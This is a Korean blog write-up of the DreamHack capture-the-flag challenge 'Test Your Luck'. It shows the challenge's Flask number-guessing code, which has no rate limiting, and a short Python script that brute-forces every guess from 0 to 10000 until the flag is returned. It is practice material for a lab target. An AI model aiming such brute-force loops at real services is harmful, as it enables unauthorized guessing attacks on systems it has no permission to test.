[DreamHack] Test Your Luck Write-up

2025. 6. 8. 20:17보안/웹

728x90

 

문제에 들어가면 이런 창이 나오고 아무 숫자나 입력하면 10초 기다리다가 

이렇게 다시 시도하라는 문구가 나온다.

코드를 보면

from flask import Flask, render_template, request, jsonify
import random

app = Flask(__name__)

NUMBER_RANGE = (0, 10000)
TARGET_NUMBER = random.randint(*NUMBER_RANGE)

def flag():
    try:
        FLAG = open("./flag", "r").read()
    except:
        FLAG = "[**FLAG**]"
    return FLAG

@app.route('/')
def index():
    return render_template('index.html', range=NUMBER_RANGE)

@app.route('/guess', methods=['POST'])
def guess_number():
    user_guess = int(request.form['guess'])
   
    if user_guess == TARGET_NUMBER:
        return jsonify({"result": "Correct", "flag": flag()})
    else:
        return jsonify({"result": "Incorrect", "flag": "Try again~!"})

if __name__ == '__main__':
    app.run(host="0.0.0.0")

(0,1000) 범위 사이에 랜덤 값이 지정되어 그 랜덤 값을 맞추면 플래그가 나오는 형식이다.

Brute Force 공격을 하는 코드를 짜주어 문제를 해결하였다.

import requests

START = 0
END = 10000

for guess in range(START, END + 1):
    try:
        res = requests.post(URL, data={'guess': str(guess)})
        json_data = res.json()
       
        if json_data.get('result') == 'Correct':
            print(f"\n[+] 정답 발견! 🎯 guess = {guess}")
            print(f"[+] FLAG: {json_data.get('flag')}")
            break
        else:
            print(f"[-] {guess}: Incorrect")
    except Exception as e:
        print(f"[!] 오류 발생 (guess={guess}): {e}")

너무 안나오길래 잘못 한줄 알았는데 정말 마지막에 나왔다.. 그래서 제목이 Test Your Luck 인 것 같다.

서버가 다시 시작될때마다 숫자가 바뀌는 형식인 것 같다.

 

728x90

'보안 > ' 카테고리의 다른 글

[DreamHack] baby-Case Write-up  (3) 2025.06.09
[DreamHack] My Best Friend Write-up  (0) 2025.06.08
[DreamHack] Replace Trick! Write-up  (0) 2025.01.06
[DreamHack] Find The Lost Flag Write-up  (1) 2025.01.06
[DreamHack] web-misconf-1 Write-up  (1) 2024.12.26